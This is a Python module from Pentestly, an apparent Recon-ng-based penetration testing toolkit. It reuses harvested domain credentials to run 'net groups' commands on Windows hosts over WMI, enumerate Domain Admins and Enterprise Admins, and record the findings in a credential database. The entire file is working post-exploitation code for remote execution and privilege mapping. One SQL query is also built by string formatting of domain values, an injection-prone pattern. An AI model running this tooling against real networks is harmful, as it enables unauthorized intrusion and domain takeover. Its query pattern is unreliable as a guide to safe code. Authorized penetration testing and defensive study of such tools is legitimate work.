from __future__ import print_function
from recon.core.module import BaseModule

import os
import subprocess

from libs.pentestlymodule import PentestlyModule
from libs.misc import parse_mimikatz

class Module(PentestlyModule):

    meta = {
        'name': 'Get Domain Admins',
        'author': 'Cory Duplantis (@ctfhacker)',
        'description': 'Execute "net groups \'Domain Admins\'" to enumerate Domain Admins.',
        'query': 'SELECT username,password,domain,host FROM pentestly_creds WHERE success="True" AND execute!="False" AND domain!="workgroup"',
    }

    def module_pre(self):
        self.create_table()

    def add_da_creds(self, username=None, password=None, host=None, domain=None, status=None):
        '''Adds domain admins to the database and returns the affected row count.'''
        data = dict(
            host = self.to_unicode(host),
            username = self.to_unicode(username),
            password = self.to_unicode(password),
            domain = self.to_unicode(domain),
            status = self.to_unicode(status),
        )
        return self.insert('domain_admins', data, ('host', 'username', 'password', 'domain', 'status'))

    def module_run(self, creds):
        share = 'C$'

        for command, access in [('net groups "Domain Admins" /domain', 'Domain Admin'),
                                ('net groups "Enterprise Admins" /domain', 'Enterprise Admin')]:

            # Reduce creds if options are given
            for username, password, domain, host in creds:

                # Only try to find Domain Admins if we don't have DAs for this domain
                if self.query("SELECT username FROM pentestly_creds WHERE domain='{}' AND access like '{}'".format(domain, access)):
                    self.output('Already found {} for {}, skipping'.format(access, domain))
                    continue

                self.smb.hosts[host] = {'user':username, 'passwd':password, 'domain':domain, 'port': 445}
                result = self.wmi_execute(username, password, domain, host, command)
                if not result or 'error' in result.lower():
                    print(result)
                    self.error("[{}] Following command failed: {}".format(host, command))
                    continue

                before = after = ''

                # Determine the beginning and ending of Domain Admins
                for index, elem in enumerate(result.split('\n')):
                    if '----------' in elem:
                        before = index + 1
                    elif 'The command' in elem:
                        after = index

                # Execution failed
                if not before or not after:
                    return

                for line in result.split('\n')[before:after]:
                    for da in line.split():
                        self.alert("Found {}: {}".format(access, '\\'.join([domain,da])))
                        self.pentestly_update(new_vals={'access':access}, conditions={'username':da,
                                                                                'domain':domain})
